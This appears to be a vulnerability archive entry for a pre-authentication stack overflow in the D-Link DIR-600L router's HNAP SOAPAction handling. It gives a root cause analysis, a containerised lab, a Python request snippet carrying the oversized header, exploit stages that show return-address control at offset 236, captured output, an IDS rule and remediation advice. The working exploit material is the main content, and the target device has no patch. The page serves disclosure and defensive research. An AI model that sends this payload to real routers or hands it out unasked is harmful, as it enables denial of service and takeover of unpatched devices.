PoC Archive PoC Archive
CVE-2026-129354 category: network CVSS 10 (CRITICAL)
Unverified

D-Link DIR-600L HNAP SOAPAction Pre-Auth Stack Buffer Overflow (CVE-2026-129354)

Published: 2026-11-25 • Researcher: googlesky (Lê Hiếu), laboratory and differential PoC; ruanyi (VulDB user ruanyi101), original advisory and disclosure

Target software D-Link DIR-600L wireless router (hardware revision B1, shared DIR-600Bx platform image); HNAP handler hnap_main in htdocs/cgibin, reached as /usr/sbin/hnap through boa's /HNAP1/ mapping
Affected versions Firmware 2.17b02 (the re-hosted image is DIR-600Bx_FW217b02.bin, MD5 2f953ec274caeab6bc643045da56ab29, matching the upstream advisory). NVD records the 2.17b02 version only; no version ranges are listed.
Status PoC
Severity Critical · CVSS 10
CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-129354 (VulDB 437417)
Category
network
Affected product
D-Link DIR-600L wireless router (hardware revision B1, shared DIR-600Bx platform image); HNAP handler hnap_main in htdocs/cgibin, reached as /usr/sbin/hnap through boa's /HNAP1/ mapping
Affected versions
Firmware 2.17b02 (the re-hosted image is DIR-600Bx_FW217b02.bin, MD5 2f953ec274caeab6bc643045da56ab29, matching the upstream advisory). NVD records the 2.17b02 version only; no version ranges are listed.
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-19
Author / Researchergooglesky (Lê Hiếu), laboratory and differential PoC; ruanyi (VulDB user ruanyi101), original advisory and disclosure
CVE / AdvisoryCVE-2026-129354 (VulDB 437417)
Categorynetwork
SeverityCritical
CVSS Score10.0 — CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (VulDB)
StatusPoC
Tagsdlink, dir-600l, router, hnap, soapaction, stack-buffer-overflow, cwe-121, pre-auth, qemu-user, iot
RelatedN/A

Affected Target

FieldValue
Software / SystemD-Link DIR-600L wireless router (hardware revision B1, shared DIR-600Bx platform image); HNAP handler hnap_main in htdocs/cgibin, reached as /usr/sbin/hnap through boa’s /HNAP1/ mapping
Versions AffectedFirmware 2.17b02 (the re-hosted image is DIR-600Bx_FW217b02.bin, MD5 2f953ec274caeab6bc643045da56ab29, matching the upstream advisory). NVD records the 2.17b02 version only; no version ranges are listed.
Language / PlatformC; 32-bit MIPS-I little-endian (mipsel), uClibc 0.9.30.1, stripped non-PIE ELF; reproduced under qemu-mipsel-static in a container
Authentication RequiredNo
Network Access RequiredYes (LAN side by default; WAN side if remote management is exposed)

Summary

CVE-2026-129354 is a pre-authentication stack-based buffer overflow in the HNAP handler of the D-Link DIR-600L. The handler takes the HNAP action from the client-supplied SOAPAction header, accepts any header that merely contains a whitelisted action name, and copies everything after the last slash into a 256-byte stack buffer with an unbounded string copy. A single unauthenticated HTTP request to /HNAP1/ therefore corrupts the CGI child process; the shipped binary crashes reproducibly at fault address 0x45454545, and the upstream laboratory further proves saved return address control with an attacker-chosen program counter of 0x42424242. The device is end-of-life and no vendor fix exists or will exist (D-Link SAP10393).

Vulnerability Details

Root Cause

In the shipped htdocs/cgibin, the HNAP entry point selected for /usr/sbin/hnap reads the HTTP_SOAPACTION environment variable, tests it against the two known whitelist names with strstr() (a substring test, not an equality or prefix test), and then derives the action to execute from strrchr(soap, '/') + 1, i.e. everything after the last slash of the same attacker-controlled header. That action string is copied into a 256-byte stack buffer (auStack_228) with an unbounded strcpy(), and the same unbounded value is re-formatted into a shell command template with an unbounded sprintf() before being passed to system(). Because the whitelist check and the used action are different substrings of the header, a header of the form http://purenetworks.com/HNAP1/GetDeviceSettings/<long suffix> passes pre-authentication while the long suffix is what reaches the unsafe copies. The saved return address sits 236 bytes above the destination buffer. The weakness classes are CWE-121 (stack-based buffer overflow) and CWE-119 (memory corruption).

Attack Vector

An unauthenticated network attacker sends one HTTP request to the device’s HNAP endpoint (/HNAP1/, served by boa and dispatched to the multi-call CGI /usr/sbin/hnap) whose SOAPAction header contains a whitelisted action name followed by / and an over-long suffix. Quoted or unquoted headers, GET or POST, both whitelist entries, and the whitelist name placed in the middle of the header all satisfy the substring test; the suffix after the last slash is the action used. Suffixes at or above roughly 260 bytes fault the CGI child, and a NUL-free, pointer-preserving suffix of 236 bytes reaches the saved $ra. The lab maps the header to HTTP_SOAPACTION exactly as boa does, forks the guest CGI per request, and reports the child’s fault address.

Impact

Pre-authentication memory corruption of the HNAP CGI with demonstrated instruction-pointer control. Each malicious request kills the CGI child (SIGSEGV, HTTP 500-class response) while the httpd parent keeps serving, giving a reliable denial of service; on exploitation of the return-address primitive, arbitrary code execution as the web server (which runs as root on the device) is the expected outcome. The PoC stops at control of the program counter and does not ship a code-execution payload. On real hardware, turning that control into code execution additionally requires knowledge of the target memory layout and a suitable gadget or shellcode location.

Environment / Lab Setup

Output
OS:          Linux x86_64 host running Podman (Docker-compatible)
Target:      cve-2026-129354:lab container (Debian bookworm-slim + qemu-user-static),
             re-hosting the extracted DIR-600L 2.17b02 rootfs at /firmware.
             Vulnerable side: LAB_BOUNDS_SHIM=0 (firmware exactly as shipped).
             Remediated side: LAB_BOUNDS_SHIM=1 (same binary + bounds-enforcing shim).
Attacker:    python:3.12-alpine PoC container (stdlib only), same cve129354lab network
Tools:       podman, qemu-mipsel-static 7.2.22, sasquatch/binwalk, mipsel-linux-gnu-gcc,
             strace (via qemu -strace), Ghidra 12.1.4 for the decompilation

Setup Steps

The lab fetches the vendor firmware at image build time and enforces its MD5, so the image and the binary are the real vendor artefacts rather than a re-implementation. Nothing executes on the host; the guest runs only inside the container chroot. The front end (lab/service.py) re-creates boa’s CGI model for HNAP: one child per request, SOAPAction to HTTP_SOAPACTION, the URL in REQUEST_URI, the body on stdin, and /var/run/hnap.lock creatable, so a guest crash is reported as a SIGSEGV with its si_addr rather than a service outage.

Shell script
1
2
3
4
5
6
7
./run-lab.sh build     # fetch + MD5-verify firmware, extract squashfs, build lab + PoC images
./run-lab.sh up        # create the cve129354lab network, start hnap-vuln and hnap-fixed
./run-lab.sh sweep     # run check / exploit / probe / mitigation against both sides
./run-lab.sh down      # tear everything down

podman run --rm --network cve129354lab cve-2026-129354-poc:local \
    exploit --host=hnap-vuln

Requirements: Podman (or Docker) with network-creation rights, outbound HTTPS for the firmware download, and roughly 4 GB RAM plus 2 CPUs per router container. Captured runs are in evidence/.

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the environment — build the images and start both router containers with ./run-lab.sh build and ./run-lab.sh up. The lab image extracts DIR-600Bx_FW217b02.bin (MD5-checked), verifies htdocs/cgibin (MD5 e7016496219d73b3be39cad163995fcc), and runs it under qemu-mipsel-static.
  2. Baseline crash (advisory signature) — deliver a 500-byte 'E' fill as the action suffix behind a whitelisted HNAP name. The CGI child dies with SIGSEGV at si_addr=0x45454545, exactly the signature in the upstream advisory’s capture.
    Shell script
    1
    2
    
    podman run --rm --network cve129354lab cve-2026-129354-poc:local \
        check --host=hnap-vuln
  3. Locate the saved return address — exploit stage 2 sweeps candidate offsets in a 128-byte window around the calibrated 236-byte offset with a NUL-free pointer-preserving fill (0x3ff6cd44, bytes into the always-mapped uClibc text region) and writes the marker 0x42424242 at each candidate. The pointers stay valid until the epilogue, so execution reaches jr $ra.
    Shell script
    1
    2
    
    podman run --rm --network cve129354lab cve-2026-129354-poc:local \
        exploit --host=hnap-vuln
  4. Confirm control — when the faulting address equals the marker, the saved $ra is proven attacker-controlled. The captured run reports the overwrite at offset 236 (0xec) with faulting PC 0x42424242.
  5. Differential on the remediated side — repeat against --host=hnap-fixed, where the same binary is loaded with LD_PRELOAD=/usr/lib/bndshim.so (bounded strcpy/sprintf, cap 256). No crash occurs at any length, confirming that the crashes are exactly the unbounded copies.
  6. Boundary and delivery matrix (optional) — probe checks whitelist entries, quoted versus unquoted headers, GET versus POST, sub-threshold versus over-threshold lengths, the missing-header default path, and the strrchr-misses edge case; mitigation contrasts the effective front-end header cap.

Exploit Code

See exploit/exploit.py (standalone full chain: crash, then saved-RA control) and poc/poc.py (stdlib-only check / exploit / probe / mitigation driver). Both are archived from the upstream repository unchanged apart from the research-only header.

The minimal delivery shape is a single request whose SOAPAction carries the payload:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import http.client

TARGET = "hnap-vuln"
WHITELIST = "http://purenetworks.com/HNAP1/GetDeviceSettings/"
payload = WHITELIST + "E" * 500          # 'E' fill reproduces 0x45454545

conn = http.client.HTTPConnection(TARGET, 8080, timeout=30)
conn.request("POST", "/HNAP1/", body=b"",
             headers={"Content-Type": "text/xml", "SOAPAction": '"%s"' % payload})
print(conn.getresponse().read())

Expected Output

Output
1
2
3
4
5
6
7
[*] stage 1 — baseline crash with 'E' fill (advisory signature)
[+] CGI child SIGSEGV, si_addr=0x45454545
    | --- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x45454545} ---
[*] stage 2 — saved-$ra control with pointer-preserving fill (calibrated offset 236, sweep ±64)
[+] saved return address overwritten at offset 236 (0xec); faulting PC == 0x42424242 (attacker-chosen)
    | --- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
[+] RESULT: pre-auth stack overflow with instruction-pointer control via the SOAPAction header of /HNAP1/ requests

Captured verbatim in evidence/exploit-vuln-run.txt; the baseline run is in evidence/check-vuln-run.txt. The standalone exploit exits 1 on a confirmed vulnerable target and 0 on a safe one.

Screenshots / Evidence

Detection & Indicators of Compromise

  • Requests to /HNAP1/ whose SOAPAction header contains a whitelisted HNAP action name followed by / and more than roughly 256 bytes of suffix, especially long runs of one byte such as E or G.
  • HTTP 500-class responses or connection resets for the HNAP endpoint, or CGI child processes dying with SIGSEGV while the httpd keeps serving (one crash per request is the characteristic pattern).
  • Fault addresses containing the attacker fill: 0x45454545 (EEEE) or an attacker-chosen marker such as 0x42424242; in the emulated lab the qemu strace shows SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x45454545}.
  • Repeated /HNAP1/ requests from one source with oversized SOAPAction values, or a length sweep against the endpoint — the lab’s stage 2 sweeps offsets at 4- and 16-byte strides.
  • On the device: kernel or httpd logs for SIGSEGV in cgibin, /var/log/messages crash entries, and watchdog reboots under sustained probing.

SIEM / IDS rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"CVE-2026-129354 D-Link DIR-600L oversized HNAP SOAPAction"; \
  flow:to_server,established; content:"/HNAP1/"; http_uri; \
  content:"SOAPAction"; http_header; \
  pcre:"/SOAPAction\s*:\s*\"?[^\r\n]*HNAP1\/[^\r\n]{256,}/i"; sid:9001294;)

Remediation

ActionDetail
PatchNone available or expected. The DIR-600L is end-of-life; D-Link SAP10393 states all DIR-600/605/605L revisions are EOS with no further firmware. Replace the device or move it to an isolated, untrusted segment.
WorkaroundDo not expose the web management interface (or the HNAP endpoint) to WAN or untrusted LANs. Where the device must stay in service, put a reverse proxy or ingress ACL in front of it that caps request header size and rejects or truncates SOAPAction values longer than the 256-byte destination buffer (the lab’s effective mitigation is a front-end cap of 512 bytes on the whole header, well below the 260-byte crash threshold).
Config HardeningDisable remote management, restrict port 80/443 to an administrative VLAN via firewall rules, monitor /HNAP1/ for oversized SOAPAction values and CGI child crashes, and treat any DIR-600L on the network as compromised-capable hardware awaiting retirement.

References

Notes

Auto-ingested from https://github.com/googlesky/CVE-2026-129354 on 2026-11-25.

Review verdict: this is a genuine exploit PoC, not a detector, scanner, audit kit or inventory tool. The repository ships a standalone full-chain exploit (exploit/exploit.py) plus a stdlib-only driver (poc/poc.py) that triggers the overflow on the real vendor binary, reproduces the advisory crash signature, and demonstrates saved return address control with an attacker-chosen program counter. It also provides a bounded-shim differential as the remediation shape and a 0-day sweep of adjacent HNAP entry conditions. Copied files are the exploit driver, the lab front end, the firmware fetch/extraction script, the shim, the container build files, three captured evidence runs and the upstream README; the .git directory, the fetched firmware blobs, the excluded TRACKING.md working record and the build caches were not copied.

License: MIT (Copyright (c) 2026 Lê Hiếu), included as LICENSE. Attribution to googlesky and to ruanyi (ruanyi101) for the original advisory is preserved.

Limitations: the PoC is lab-only and drives the container re-host of the firmware under qemu-mipsel rather than physical hardware. The demonstrated primitive is memory corruption with instruction-pointer control; no shellcode or arbitrary command execution payload is shipped, and exploiting the saved-$ra overwrite on real hardware additionally requires knowledge of the target’s memory layout and a suitable gadget or shellcode location. The offset was calibrated for this exact firmware image (DIR-600Bx_FW217b02.bin, htdocs/cgibin MD5 e7016496219d73b3be39cad163995fcc); other builds may differ. The container build needs outbound HTTPS to fetch the firmware and enforces its MD5. EPSS reported with the worklist record is 0.01444. Category was chosen as network rather than the supplied binary hint: the affected asset is a router management interface and the attack vector is a remote unauthenticated HTTP request, matching the archive’s convention for router firmware overflows. The sibling CVE-2026-129353 (authentication.cgi) is out of scope for this entry and has its own archive entry. Run only against devices you own or have written authorization to test.

run-lab.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env bash
# Environment driver for the CVE-2026-129354 lab.
#
#   ./run-lab.sh build    build the lab image (fetches + verifies the firmware)
#   ./run-lab.sh up       create the network and both routers (vuln / fixed)
#   ./run-lab.sh sweep    run the PoC in every mode against both sides
#   ./run-lab.sh down     stop and remove everything
set -euo pipefail

CVE="CVE-2026-129354"
NET="cve129354lab"
IMAGE="cve-2026-129354:lab"
POC_IMAGE="cve-2026-129354-poc:local"
HERE="$(cd "$(dirname "$0")" && pwd)"

build() {
    podman build -f "$HERE/lab/lab.Dockerfile" -t "$IMAGE" "$HERE/lab"
    podman build -t "$POC_IMAGE" "$HERE/poc"
}

up() {
    podman network create "$NET" 2>/dev/null || true
    podman run -d --name hnap-vuln --network "$NET" \
        --cpus 2 --memory 4g -e LAB_BOUNDS_SHIM=0 "$IMAGE"
    podman run -d --name hnap-fixed --network "$NET" \
        --cpus 2 --memory 4g -e LAB_BOUNDS_SHIM=1 "$IMAGE"
}

sweep() {
    for mode in check exploit probe mitigation; do
        for side in vuln fixed; do
            echo "================ $mode / router-$side ================"
            set +e
            podman run --rm --network "$NET" --cpus 2 --memory 512m \
                "$POC_IMAGE" "$mode" "--host=hnap-$side" | tee "$HERE/evidence/${mode}-${side}-run.txt"
            echo "exit: $?"
            set -e
        done
    done
}

down() {
    podman rm -f hnap-vuln hnap-fixed 2>/dev/null || true
    podman network rm "$NET" 2>/dev/null || true
}

case "${1:-}" in
    build) build ;;
    up) up ;;
    sweep) mkdir -p "$HERE/evidence"; sweep ;;
    down) down ;;
    *) echo "usage: $0 build|up|sweep|down"; exit 2 ;;
esac